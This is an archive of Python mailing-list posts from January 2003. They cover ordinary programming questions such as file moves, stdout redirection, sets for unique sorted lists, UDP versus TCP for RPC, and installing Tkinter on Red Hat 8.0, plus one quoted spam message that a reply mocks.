Martin




From inyeol.lee at siimage.com  Thu Jan 30 18:42:36 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Thu, 30 Jan 2003 15:42:36 -0800
Subject: moving a file in a filesystem-independent way?
In-Reply-To: <b1ccej$1tc$1@peabody.colorado.edu>
References: <b1ccej$1tc$1@peabody.colorado.edu>
Message-ID: <20030130234236.GB29788@siliconimage.com>

On Thu, Jan 30, 2003 at 04:29:34PM -0700, Fernando Perez wrote:
> Hi all,
> 
> I've stumped myself today with a seemingly silly problem, and I'd like to 
> hear a bit from the experts.
> 
> I need to move a file from A to B, under Linux. Simple enough task, use 
> os.rename(A,B).  Right? 
> 
> Wrong.
> 
> Depending on whether A and B are located on the same filesystem or not, the 
> call may fail with a nice 
> 
> OSError: [Errno 18] Invalid cross-device link
> 

shutil.move(src, dst), new in 2.3

Inyeol...




From follower at iname.com  Mon Jan 20 16:28:01 2003
From: follower at iname.com (Follower)
Date: 20 Jan 2003 13:28:01 -0800
Subject: Directory separator in module name using '__import__()' cross platform difference
Message-ID: <d2f38965.0301201328.12f16058@posting.google.com>

Hi,

Under Python 2.2.1 on Mandrake 9.0 the following code (in interactive
mode):

__import__("test/test_ds")

results in:

<module 'test/test_ds' from 'test/test_ds.pyc'>

But, under Windows it results in an 'ImportError', even if I change
the directory separator used.

Now, I realise it's illegal to specify a directory path when using the
'import' *statement*, but which of the two above behaviours is
"correct" for the '__import__' function?

Is there a way of having the Unix behaviour work under Windows?

Is this an known and/or intentional implementation difference?

Thanks,
Phil.



From just at xs4all.nl  Fri Jan 24 04:16:16 2003
From: just at xs4all.nl (Just)
Date: Fri, 24 Jan 2003 10:16:16 +0100
Subject: How to send output to file
References: <3E2D17B1.3400.13E9049E@localhost> <3E2DACA7.10212.162EFB1E@localhost> <mailman.1043398544.26300.python-list@python.org>
Message-ID: <just-074176.10161624012003@news1.news.xs4all.nl>

In article <mailman.1043398544.26300.python-list at python.org>,
 Gerrit Holl <gerrit at nl.linux.org> wrote:

> A schreef op dinsdag 21 januari om 20:27:56 +0000:
> > Dear Gerrit,
> > Thank you for your email.
> > Now I already know how I can assing the output to a file.
> > Is there a possibility  to assign the output back to standard as it was 
> > before I assigned to a 
> > file?
> 
> You can use sys.__stdout__ for that: sys.stdout = sys.__stdout__

Yet as a matter of principle it's better to store the original(s) and 
stuff them back when you're done in a finally clause, eg:

   so, se = sys.stdout, sys.stderr
   sys.stdout = sys.stderr = myfile
   try:
      ..do stuff..
   finally:
      sys.stdout, sys.stderr = so, se

After all it's better not to assume sys.stdout is sys.__stdout__ at the 
time your code is run.

Just



From markus_wankus at hotmail.com  Tue Jan  7 14:41:44 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Tue, 07 Jan 2003 14:41:44 -0500
Subject: Reading a text file into a dictionary
References: <_yFS9.5667$j94.1089940@news02.tsnz.net>
Message-ID: <3E1B2D78.9080802@hotmail.com>

You should be using:

"for key, value in mydict.iteritems():"

to get an iterator over key/value pairs.

Markus.


Andy Elvey wrote:
> Hi all -
> 
> ( I'm running Python 2.3a1 under win98 )
>  I have a comma-delimited file which I'm trying to read into a Python
>  dictionary (actually, a dictionary implemented using lists). The dictionary
>  code is exactly as shown in the "What's new" part of the Python 2.3a1
>  release notes.
>  The file is as follows -
> Country,City,var1,var2,var3
> Australia,Sydney,214,105,478
> Australia,Melbourne,345,26,200
> Australia,Perth,109,217,809
> 
> The first row (the column headings) will be the keys, and the rest of the
> data is the values to be associated with the keys.
> My code is as follows -
> 
> ### Start of code ###
> import  UserDict
> class SeqDict(UserDict.DictMixin):
>     """Dictionary lookalike implemented with lists."""
>     def __init__(self):
>         self.keylist = []
>         self.valuelist = []
>     def __getitem__(self, key):
>         try:
>             i = self.keylist.index(key)
>         except ValueError:
>             raise KeyError
>         return self.valuelist[i]
>     def __setitem__(self, key, value):
>         try:
>             i = self.keylist.index(key)
>             self.valuelist[i] = value
>         except ValueError:
>             self.keylist.append(key)
>             self.valuelist.append(value)
>     def __delitem__(self, key):
>         try:
>             i = self.keylist.index(key)
>         except ValueError:
>             raise KeyError
>         self.keylist.pop(i)
>         self.valuelist.pop(i)
>     def keys(self):
>         return list(self.keylist)
> 
> # Now, read a comma-delimited file into the dictionary
> def readfile():
>     mydict = SeqDict()
> # NOTE - enter the path and filename WITHOUT quotes around it.
>     filename = raw_input('Enter name of file to open: ')
>     file = open(filename, 'r')
>     linenum=0
>     for line in file.readlines():
>             linenum+=1
>             mywords = string.split(line, sep=',')
> 
>             for word in mywords:
>                 if linenum == 1:
> # First row of data: the dictionary keys
>                     mydict.keylist.append(word)
>                     mydict.valuelist.append([])
>                 else:
> # The rest of the data
>                     mydict.valuelist.append(word)
>     for key, value in mydict:
>         print key, value
> 
> if __name__ == '__main__':
>     readfile()
> ### End of code ###
> 
> When I run this, it crashes at the line "for key, value in mydict"
> with the message "ValueError - too many values to unpack".
>  Hmmmm .....
> So, any help is much appreciated. Thanks in advance...  :-)
> 
> 
> 
> 




From davecook at nowhere.net  Mon Jan  6 04:48:46 2003
From: davecook at nowhere.net (David M. Cook)
Date: Mon, 06 Jan 2003 09:48:46 GMT
Subject: migrating from Access
References: <Mf6S9.108144$k13.4219684@news0.telusplanet.net>
Message-ID: <slrnb1ikas.2il.davecook@localhost.localdomain>

In article <Mf6S9.108144$k13.4219684 at news0.telusplanet.net>, Lester wrote:

> Now I would like to port it over to something free and cross platform. 
> I would like to recreate the app and GPL it.  Python + MySQL looks good 
> because I can read and understand the code examples in the book -- Perl 
> gives me a headache.  BoaConstructor looks good.  Any thoughts on this 
> would be appreciated.

I'm writing a database app using pygtk (a python binding for Gtk) and
PostgreSQL.  I design my forms with glade.  This produces an XML file that
can be loaded by a python program and the widgets can be accessed by name.
In glade I name each entry widget (which may be a combo, text entry,
spinbox, etc) by table and field name: "tablename.fieldname".  Since the
widgets are not consistent in how values are gotten/set, I use a wrapper
around them to create a consistent interface.  

Of course, I have to handle getting the data to and from the database and
widgets myself.  Eventually I'd like to write an MVC-type framework for this
so that this happens automagically.

For getting data out of the database, you might want to look at something
like SQLDict.  See

http://py.vaults.ca/parnassus/apyllo.py/973100124
http://www.thinkware.se/cgi-bin/thinki.cgi/ObjectRelationalMappersForPython

One of the more interesting object-relational mappers is:

http://modeling.sourceforge.net/

It uses Zope, which I don't grok yet.

Dave Cook



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Thu Jan 16 17:28:11 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Thu, 16 Jan 2003 23:28:11 +0100
Subject: buffer overflow
In-Reply-To: <jiqb2v8n6phmctv829nlqo29t760fffacn@4ax.com>
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com> <m3u1gaax68.fsf@mira.informatik.hu-berlin.de> <jiqb2v8n6phmctv829nlqo29t760fffacn@4ax.com>
Message-ID: <3e2731f5$0$49107$e4fe514c@news.xs4all.nl>


Gon?alo Rodrigues wrote:
> I vote QOTW for this one.

+1!   LOL


Irmen




From gherron at islandtraining.com  Tue Jan 21 02:02:20 2003
From: gherron at islandtraining.com (Gary Herron)
Date: Mon, 20 Jan 2003 23:02:20 -0800
Subject: Scope confusion...
In-Reply-To: <YX0X9.642361$GR5.433453@rwcrnsc51.ops.asp.att.net>
References: <YX0X9.642361$GR5.433453@rwcrnsc51.ops.asp.att.net>
Message-ID: <200301202302.20720.gherron@islandtraining.com>

On Monday 20 January 2003 04:59 pm, kevin at cazabon.com wrote:

Here;s another way to think of it.  This code

> def a(list = []):
>     list.append("test")
>     return list
>

is equivalent to the following

    L = []   # Create a global list

    def a(list=L): # Use L many times
        list.append("test")
        return list

This, perhaps, makes it more evident that list L is created once, and
calls to "a" append onto L.


Gary Herron





From bokr at oz.net  Thu Jan  9 18:04:50 2003
From: bokr at oz.net (Bengt Richter)
Date: 9 Jan 2003 23:04:50 GMT
Subject: invoking multiple methods (Was: Python vs. Ruby)
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org>
Message-ID: <avkv6i$38k$0@216.39.172.122>

On Thu, 09 Jan 2003 15:57:38 GMT, Mike Meyer <mwm at mired.org> wrote:

>Erik Max Francis <max at alcyone.com> writes:
>
>> "Stuart D. Gathman" wrote:
>> >   aList.sort();.reverse()       # aList.sort(); aList.reverse()
>> > A statement cannot begin with '.', so ';.' means to invoke another
>> > method
>> > on the same object.
>> But is this awkwardness really worth it?  One of Python's truly great
>> assets is its transparently readable code.  I'm opposed on general
>> principle to anything which defeats that.
>
>True. However, the idea of specifying multiple methods on the same
>object is consistent with recent changes (op=, for instance), and
>seems useful enough to be worth writing a PEP for - *if* a readable
>syntax can be invented for it.
>
>I don't like ;.. I'm not sure I like the idea of tweaking the
>semantics of statement at all. Maybe something like:
>
>        aList.(sort(), reverse())
>
>Almost like using a tuple as the method, and it does all the
>invocations in the tuple. Except it isn't a real tuple, because the
>methods aren't reall calls.

I'd rather reserve the xxx.(something) syntax for an alternate spelling
of getattr(xxx, something), where something is an expression resulting in a string.
E.g.,
    for name in dir(thing):    # when you want more than vars(thing).items()
        print name, thing.(name)

Or maybe .( xxx ). for xxx special effects at the tokenizer level ;-)

How about getting your parens without a dot, using __call__ and passing bound methods?

 >>> class L(list):
 ...     def __call__(self, *ops):
 ...         for op in ops:
 ...            op()
 ...         return self
 ...
 >>> a = L([3,1,2])
 >>> a(a.sort, a.reverse)
 [3, 2, 1]
 >>> a
 [3, 2, 1]
 >>> a(a.reverse) + [4]
 [1, 2, 3, 4]
 >>> a
 [1, 2, 3]
 >>> a(a.reverse) + [4]
 [3, 2, 1, 4]

Alternatively:

 >>> class L2(list):
 ...     def __call__(self, *ops):
 ...         l = self[:]
 ...         for op in ops:
 ...            op(l)
 ...         return l
 ...
 >>> b = L2([3,1,2])
 >>> b
 [3, 1, 2]
 >>> b(list.reverse)
 [2, 1, 3]
 >>> b
 [3, 1, 2]
 >>> b(list.sort, list.reverse)
 [3, 2, 1]
 >>> b
 [3, 1, 2]

Looks nicer with some local bindings though:

 >>> sort = list.sort; reverse=list.reverse
 >>> b
 [3, 1, 2]
 >>> b(sort)
 [1, 2, 3]
 >>> b
 [3, 1, 2]
 >>> b(sort, reverse)
 [3, 2, 1]
 >>> b(reverse)
 [2, 1, 3]

Regards,
Bengt Richter



From tjreedy at udel.edu  Sat Jan 11 13:51:26 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 11 Jan 2003 13:51:26 -0500
Subject: Join our Programming community?
References: <mailman.1042304241.16179.python-list@python.org>
Message-ID: <om2dnQcy3OMt9b2jXTWc3g@comcast.com>

<mimi at programgeeks.net> wrote in message
news:mailman.1042304241.16179.python-list at python.org...
> Hi,
>
>     I found your email today on a website..  I am emailing a
selected few to

Spam Alert! Standard spam intro.  Translation: "Spam follows".
Probability .9, as estimated by internal Baysian spam filter based on
+-1000 spam messages and >10000 real messages.

> see if they will join a new online Programmer community.  It is
found at
> http://www.lamergeeks.net/forums . It really means alot to us if you
could
> join. =)  See you there?
>
> Tony Mumu
> mumu at lamergeeks.net
> P.S. This is NOT SPAM, it is a personal invitation, your email has
been
> HANDPICKED, you are only being emailed at the same time.

Spam Alert! Standard spam disclaimer. Translation: "You've been
spammed"
Probability .9.  Combined probability .99.  End of Spam Alert.





From jtk at yahoo.com  Mon Jan 27 10:40:49 2003
From: jtk at yahoo.com (Jeff Kowalczyk)
Date: Mon, 27 Jan 2003 10:40:49 -0500
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04>
Message-ID: <b13jr7$4ud$1@main.gmane.org>

"Chetan Gadgil"  wrote
> http://www.gadgil.net/DotNetWrapperForPython.htm

This is a great project! Seems like the next best thing to a Python CLI runtime...

One question:
Would the implementation be possible in C#, with anything that simply could not
be expressed in C# factored out into small bits of managed C++?

Reason:
If it were in C#, mono could use it (open source .NET framework, go-mono.org).
The mono project community would probably find this *very* interesting, even
at a development stage. I can imagine python-scripted unit testing, etc.








From zen at shangri-la.dropbear.id.au  Fri Jan 24 19:29:09 2003
From: zen at shangri-la.dropbear.id.au (Stuart Bishop)
Date: Sat, 25 Jan 2003 11:29:09 +1100
Subject: Something like asynchronous XML-RPC possible? 
In-Reply-To: <200301241551.h0OFpMjL028812@ratthing-b246.strakt.com>
Message-ID: <0529F5D0-2FFC-11D7-88CD-000393B63DDC@shangri-la.dropbear.id.au>

On Saturday, January 25, 2003, at 02:51  AM, Laura Creighton wrote:

> I get the sinking feeling, reading this thread, that the problem is 
> that
> Will Stuyvesant's boss has heard the word 'UDP' and the word 
> 'asynchronous'
> at the same time, and thinks that he has found a known solution for 
> what
> he wants Will Stuyvesant to do.  He has no idea of the horrible 
> complexity
> he is asking for.
>
> In this case, it might be well to implement an 'it is easier to get
> forgiveness than permission' policy. 'Convincing the boss that this is
> a bad idea' is a better plan than 'doing it anyway even though it is
> a bad plan because it is too hard to explain this to the boss'.  This 
> is
> due to the difficulty of 'doing it anyway' regardless of the difficulty
> of 'explaining to the boss'.

Hmm.... UDP is unreliable, so we need to fix that. And UDP packets can 
arrive
out of sync, so we need to fix that. Thankfully someone has already 
implemented
this for me, bundled it up and called it 'TCP'. And it can even go 
through
firewalls without rewriting the company security policy using an even 
higher
level package called 'HTTP'. And I can buy a 'layer 4 switch', plug it 
in, and
get transparent wire speed load balancing making my application 
scalable. And
if I use a standard RPC mechanism like XML-RPC, then my application is
implementation agnostic and future proofed. And I can plug in SSL to get
industry standard peer-to-peer encryption in case we need to start 
talking
with nodes via untrusted networks.

Or I could reimplement the wheel, although we will never be able to sell
this product because it isn't standards or buzzword compliant and won't
pass acceptance tests as the Network Manager of Target Corporation will
sabotage the process so they don't have to reconfigure all their 
routers.

I think UDP's usage to real applications is for real-time stuff over
networks, where I need to handle my own retransmissions because the
data I originally tried to send is already out of date. Like real time 
games.
Or where I never want to retransmit because the data wasn't that 
important
anyway. Like streaming audio, where a few percent of the packets will 
never be
missed. If you have the 'I want to know the data actually arrived' and
'My requests/responses don't fit into a single UDP packet', you are 
already
better off using TCP.

Have fun with the boss. If there are legitimate reasons for using UDP,
it sounds like they are not doing particularly well communicating them 
to
you.

And if you havn't already guessed, I don't think that there are any
RPC mechanisms that use UDP as their transport protocol. RPC mechanisms
are usually designed so they can return a result, which is not what UDP
is good at. So you'll have to write your own and make the square peg
fit the round hole.

-- 
Stuart Bishop <zen at shangri-la.dropbear.id.au>
http://shangri-la.dropbear.id.au/





From altis at semi-retired.com  Thu Jan 30 13:56:40 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Thu, 30 Jan 2003 10:56:40 -0800
Subject: .pyw files
References: <mailman.1043942166.26656.python-list@python.org>
Message-ID: <Fye_9.29$dO4.32110@news.uswest.net>

"Tim Peters" <tim.one at comcast.net> wrote in message
news:mailman.1043942166.26656.python-list at python.org...
> [Skip Montanaro]
> > If I understand correctly, .pyw files on Windows are plain old
> > source files,
>
> Yes.
>
> > but prevent console window popup when executed.
>
> Due to file association magic:  .py is associate with python.exe, and .pyw
> with pythonw.exe.  There's nothing like pythonw.exe on, e.g., a Linux box.
> You could get the same effect with a .py file by running it with
pythonw.exe
> instead of with python.exe.  The entire difference is that python.exe uses
> the main() in Module\python.c, but pythonw.exe compiles WinMain() in
> PC\WinMain.c instead.
>
> > Do they byte compile to .pyc files?
>
> If imported, yes.

I thought .pyw got compiled to .pywc and an optimized compile would be
.pywo? That is based on the default being to just append 'c' or 'o' to the
original extension. Has that changed or am I remembering incorrectly?

ka





From andrew-pythonlist at puzzling.org  Fri Jan 17 17:32:47 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 18 Jan 2003 09:32:47 +1100
Subject: Socket communications
In-Reply-To: <20030117195610.GA20487@meson.dyndns.org>
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com> <b06eo8$m0u70$1@ID-145579.news.dfncis.de> <mailman.1042737271.17390.python-list@python.org> <cb035744.0301170757.751af42d@posting.google.com> <20030117195610.GA20487@meson.dyndns.org>
Message-ID: <20030117223247.GA5224@frobozz.local>

On Fri, Jan 17, 2003 at 02:56:10PM -0500, Jp Calderone wrote:
> On Fri, Jan 17, 2003 at 07:57:51AM -0800, Will Stuyvesant wrote:
> 
> > But your example could use some
> > explanations....like what does ``reactor`` do, and how about
> > ``protocol``.
[...]
> blocks for any length of time.  For more details, these urls might be
> interesting:
> 
>  http://twistedmatrix.com/documents/howto/reactor-basics
>  http://twistedmatrix.com/documents/howto/servers
>  http://twistedmatrix.com/documents/howto/clients

For an ultra-brief guide to the terminology, I'd also recommend:

  http://twistedmatrix.com/documents/howto/glossary

-Andrew.





From tdelaney at avaya.com  Mon Jan  6 00:49:47 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 16:49:47 +1100 
Subject: sorted unique elements from a list; using 2.3 features
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A80E@natasha.auslabs.avaya.com>

> From: Andrew Dalke [mailto:adalke at mindspring.com]
> 
> Python 2.3 offers at least two new ways to do this.  The first is
> with the new 'Set' class
> 
> # Let 'data' be a list or iterable object
> import sets
> subset = list(sets.Set(data))
> subset.sort()
> # Use 'subset' as needed

Using sets is definitely the Right Way (TM) to do it. This is one of the
primary use cases for sets (*everyone* wants to do this).

> (The 'list()' is needed because that's the only way to get elements
> out from a list.  It provides an __iter__ but no 'tolist()' method.)

And this is the canonical way to transform any iterable to a list. Why
should every class that you want to transform to a list have to supply a
`tolist` method? Why not a `totuple` method?

> The other is with the new 'fromkeys' class, which constructs

Actually, dictionary class (static?) method.

> # Let 'data' be a list or iterable object
> subset = dict.fromkeys(data).keys()
> subset.sort()
> # Use 'subset' as needed

This, whilst slightly shorter (due to no import - which in future versions
will be going away anyway), is definitely *not* the Right Way (TM) to do it.
It is likely to confuse people.

> For a real-life example, suppose you want to get unique lines
> from the stdin input stream, sort them, and dump the results
> to stdout.  Here's how to do it in Python 2.3
> 
> import sys
> unique_lines = dict.fromkeys(sys.stdin).keys()
> unique_lines.sort()
> sys.stdout.writelines(unique_lines)

Nope - this is better done as:

    import sets
    import sys

    unique_lines = list(sets.Set(sys.stdin))
    unique_lines.sort()
    sys,stdout.writelines(unique_lines)

It says explicitly what you are doing - creating a set of unique *values*
(since that is the definition of a set), the sorting the result.

Tim Delaney




From max at alcyone.com  Fri Jan 31 22:40:35 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 19:40:35 -0800
Subject: getting an index in a for loop
References: <a865f0e4.0301310543.7aa8d1a4@posting.google.com> <mailman.1044021360.9474.python-list@python.org>
Message-ID: <3E3B41B3.C06B0EFE@alcyone.com>

Andrew Bennetts wrote:

> In Python 2.3 (which is still in alpha):
> 
>     >>> for index, char in enumerate('abcdefg'):
>     ...     print index, char
	...
> Otherwise in Python 2.0 or later:
> 
>     >>> s = 'abcdefg'
>     >>> for index, char in zip(range(len(s)), s):
>     ...     print index, char

Both of these are nice and tight idiomatically, but they actually have
to build the lists of tuples, and so can be prohibitive if you expect
the sequence (whether it's a string or not) to be very long indeed.  In
that case manually counting with a separate variable would be
preferable:

	index = 0
	for element in sequence:
	    # do something with index and element
	    index += 1

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It is much safer to obey than to rule.
\__/ Thomas a Kempis
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From sasdffsda at ifsdadfassdfa.invalid  Sun Jan  5 03:46:46 2003
From: sasdffsda at ifsdadfassdfa.invalid (Jive Dadson)
Date: Sun, 05 Jan 2003 00:46:46 -0800
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <3E17F0F6.3EB4BD8B@ifsdadfassdfa.invalid>

.Net is Visual Basic, right:?  It only runs on MS Windows machines, right?
There's a difference.








From robert at nowhere.net  Sun Jan 12 19:04:53 2003
From: robert at nowhere.net (Robert Hord)
Date: Mon, 13 Jan 2003 00:04:53 GMT
Subject: idle will not start
References: <NoTT9.4808$pn3.184916120@newssvr15.news.prodigy.com> <3E207A94.1090103@email.com> <GU%T9.1033$6b.21955655@newssvr17.news.prodigy.com> <rx0U9.954$yh6.745@newssvr19.news.prodigy.com> <3E21D6F4.7030802@email.com>
Message-ID: <FonU9.1404$bg7.44846385@newssvr17.news.prodigy.com>

R. C. Ellis wrote:

> Robert Hord wrote:
>> Robert Hord wrote:
>> 
>> 
>>>R. C. Ellis wrote:
>>>
>>>
>>>>Robert Hord wrote:
>>>>
>>>>>I have install the RH 8.0 with python.  When I start ./idle I get an
>>>>>error
>>>>>"no module named ildelib".  I have done a find -name /usr idlelib with
>>>>>no
>>>>>results.  I also did an ./idle.py with an error "no module named
>>>>>Tkinter". I have installed the tcl/tk from the RH cd.
>>>>>
>>>>>? Anyone know what I'm missing ?
>>>>>
>>>>
>>>> From what I understand from other on-line sources, RedHat chose NOT to
>>>>include Tkinter in it's python install.
>>>>
>>>>In my case I downloaded the latest Python tgz file from python.org
>>>>(which includes Tkinter, supposedly) and did the configure-make-make
>>>>install, but it *Still* is unable to find the necessary files to access
>>>>Tkinter libs.  I've fiddled with all the available environment
>>>>variables, "locate"ed the Tkinter file - no luck.  I've asked the
>>>>follow-on question relating to this: to wit, "OK What do I do now?" or
>>>>"What did I miss and get wrong?"
>>>>
>>>>RC
>>>
>>>Well, guess I'll go googling.  thanks.
>> 
>> 
>> When here for tkinter
>> http://www.redhat.com/swr/i386/tkinter-2.2.1-17.i386.html
>> Had to have libtx.so.0 so I went here.
>> http://rpmfind.net/linux/rpm2html/search.php?query=libtix.so.0
>> 
>> All working now.  Looks great. thanks for the input.
>> 
>> reh - Texas,USA
>> RedHat 8.0
>> http://flashpages.prodigy.net/rhordjr
>> 
> 
> Wow.  Just noticed that, while RedHat doesn't install the software, it
> has it on the CD distribution disks.  Saved alot of downloading.
> 
> Too bad it doesn't show up in the Install/Upgrade Packages program.
> 
> RC

I came over to RH from Mandrake.  MDK had a really good GUI RPM app that 
showed everthing on the 7-CD set.  Maybe RH will have that when they get 
everthing settled down.  Didn't think to look on my CDs, just got used to 
googling.  Did bookmark the RH 8.0 RPM page for futher use.   later...
-- 
reh - Texas,USA
RedHat 8.0
http://flashpages.prodigy.net/rhordjr




From phr-n2003b at NOSPAMnightsong.com  Tue Jan 21 00:14:47 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 20 Jan 2003 21:14:47 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <MgZW9.41168$Hl6.4924133@news010.worldonline.dk> <iugp2vs55csq6l9nv9l6ghqse4dfr6a0td@4ax.com>
Message-ID: <7x8yxfyth4.fsf@ruckus.brouhaha.com>

Afanasiy <abelikov72 at hotmail.com> writes:
> I was not aware Python required trade-offs involving memory or cpu use in
> order to compete with PHP. In my experience Python is much much faster for
> basic scripting. I hoped that speed could be put to use on a web platform.

Benchmarks I've seen indicate PHP is considerably faster than Python.
That's not too surprising, since PHP is a simpler language and doesn't
have to do nearly so many dynamic lookups.

> I am looking for suggestions on a platform which might provide all of
> these things. A platform, using Python, which can compete well with PHP.

I suppose that's true, but PHP does a lot for you "out of the box"
that Python doesn't do unless you write or locate suitable add-on
modules, not only for HTML template expansion but also for things like
database access.  A lot of such modules have of course already been
written and are floating around various places.

I would say Python is a far superior programming language to PHP and
is preferable for complicated software development.  PHP, though, is
better suited for getting a basic site going with minimal fuss.  I
know of some people who use PHP to implement the HTML front end of a
web application, and Python to do the backend logic.  That seems
like a good approach, if you don't mind developing in two languages.



From cpbotha at i_triple_e.org  Fri Jan 10 18:14:12 2003
From: cpbotha at i_triple_e.org (Charl P. Botha)
Date: Fri, 10 Jan 2003 23:14:12 +0000 (UTC)
Subject: GUI speed
References: <mailman.1042070716.17019.python-list@python.org> <slrnb1pk9b.ga.gerhard.haering@lilith.my-fqdn.de> <slrnb1rtc1.ek.gerhard.haering@lilith.my-fqdn.de> <3e1dfaaa$0$94297$e4fe514c@dreader4.news.xs4all.nl> <avkua5$ib0$1@news.tudelft.nl> <1042205523.49394.0@demeter.uk.clara.net>
Message-ID: <avnk44$k03$1@news.tudelft.nl>

In article <1042205523.49394.0 at demeter.uk.clara.net>, Steve Hunt wrote:
>> Watch the Dutchisms... ;) "qua" in this sense doesn't seem to be as
>> colloquial in English as we would like: maybe "with regards to" would
>> have been more universally understandable.
> 
> Well that's not really what qua means.  It means "in the role of".

Please read my posting again: that's EXACTLY why I recommended using "with
regards to" rather than "qua".  The original poster used "qua" in its Dutch
sense in an English sentence.  In Dutch, qua means "with regards to" (wat
betreft, in het genoemde opzicht) whereas in English it means something
subtly different.

My posting was supposed to be light-hearted, but judging by the number of
mails I've received as well as this posting, I'm one of the more MINOR
pedants lurking in c.l.p.  In addition, the other pedants are all WRONG! ;)

-- 
charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/



From cben at techunix.technion.ac.il  Mon Jan 20 12:49:14 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 20 Jan 2003 19:49:14 +0200
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <3E2B916D.D61321F8@alcyone.com>
References: <mailman.1043038115.3135.python-list@python.org>
 <3E2B916D.D61321F8@alcyone.com>
Message-ID: <Pine.GSO.4.44_heb2.09.0301201915240.21739-100000@techunix.technion.ac.il>

On 2003-01-19, Erik Max Francis wrote:

> Tim Peters wrote:
>
> > The prospects for a conditional operator are dim.  Guido was
> > interested enough to implement it in late 2001, but eventually
> > rejected his own patch:
> >
> >   http://www.python.org/sf/471421
>
> Pity that (and thanks for the reference).  There is always hope, though;
> I seem to recall him at first being strongly opposed to adding bool to
> the language as well (which I also gladly welcomed).  In fact, right
> from the start of using Python, a conditional operator and Booleans were
> the only tangible things I truly wished for.
>
Tim's comment there that a long chain of elif's would "cry out for a dict
lokkup" gave me another idea: instead of conditional operators, add "lazy"
dict/list literals.  Curently you can also write a conditional opearator
as::

    (lambda: g(), lambda:h())[bool(f())]()

or::

    {True: lambda: h(), False: lambda: g()}[bool(f())]()

It's definitely not pretty!  But if you could avoid repeating the
lambda inside, for example by putting it outside::

    (lambda {True: h(), False: g()})[bool(f())]()

That's already better.  The ``()`` in the end could go (getitem magic).
Then the front ``lambda`` syntax is not appropriate, which is a good
excuse for choosign a short one :-).  The main remaining cruft is the bool
call.  Luckily, in many cases the condition is something like ``x > 7``,
which always returns a bool (and I don't see a clean way to sneak an
automatic bool into it).  Something like::

    \{True: h(), False: g()}[x > 7]

is already good.  The list/tuple case is less flexible and less readable
beacuse the false,true order is unnatural, so I think this can be limited
to dicts.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>




From chris.lyon at spritenote.co.uk  Tue Jan  7 08:42:09 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 7 Jan 2003 05:42:09 -0800
Subject: Installing under webservers
Message-ID: <d232c5e.0301070542.6d9d536@posting.google.com>

I have produced a set of python scripts which I wish to install
automatically from a CD under a web server IIS/ Apache across
different Operating systems Win/linux.

I have read the previous discussions concerning installation but
generally feel the solutions seem directed more towards executables.

Is there a tool I might have missed that might protect me from having
to construct an installation system that has almost as much complexity
as the system I am trying to install.

The scripts run as CGI scripts and settings in Win registry seem to be
required to  allow python CGI use on IIS



From juneaftn at REMOVETHIShanmail.net  Wed Jan 29 01:42:05 2003
From: juneaftn at REMOVETHIShanmail.net (Changjune Kim)
Date: Wed, 29 Jan 2003 15:42:05 +0900
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org> <mJycne7YFOFYaqujXTWcpw@comcast.com>
Message-ID: <b17t3o$nnt$1@news.hananet.net>

"Terry Reedy" <tjreedy at udel.edu> wrote in message
news:mJycne7YFOFYaqujXTWcpw at comcast.com...
>
> "Tim Lavoie" <tlavoie at acm.org> wrote in message
> news:877kcp6kp3.fsf at theasylum.dyndns.org...
> > >>>>> "Eric" == Eric Mattes <ericmattes at yahoo.com> writes:
> >     Eric> not require an internet connection. I wanted a python
> >     Eric> program to act as a server so that it can receive requests
> >     Eric> from a browser pointing to localhost.
> >
> >     Eric> The program is a turn-based game, so it is suitable for
> web
> >     Eric> browser implementation. I'm just wondering if its feasable
> >     Eric> to have the whole app (server and all) in one package.
> >
> > Just out of curiosity, why did you want to use a browser for the
> > interface on a local-only game? Pygame is excellent for this sort of
> > thing, and possibly much easier to use and write. Don't get me
> wrong,
> > the browser idea works well for lots of things, but you don't want
> to
> > miss out on other options.
>
> I have played several (turn-based) games (over the Intenet) that use a
> browser as a front end and I think it is a WRETCHED interface for the
> purpose.  With every move, the game board has to be download again.
> The screen blinks, and the scroll bar jumps back up to the top.  I
> mostly quite playing them because they give me headaches.  Ugh.
>
> Terry

As someone noted in the thread, it doesn't need to be WRETCHED.

Having JavaScript and Java(uh..Jython) Applet talk to each other -- and
even talk to the server on another port -- the screen doesn't need to
blink.

June




From spam at magnetic-ink.dk  Wed Jan 29 05:04:48 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 29 Jan 2003 10:04:48 +0000 (UTC)
Subject: python weblog apps?
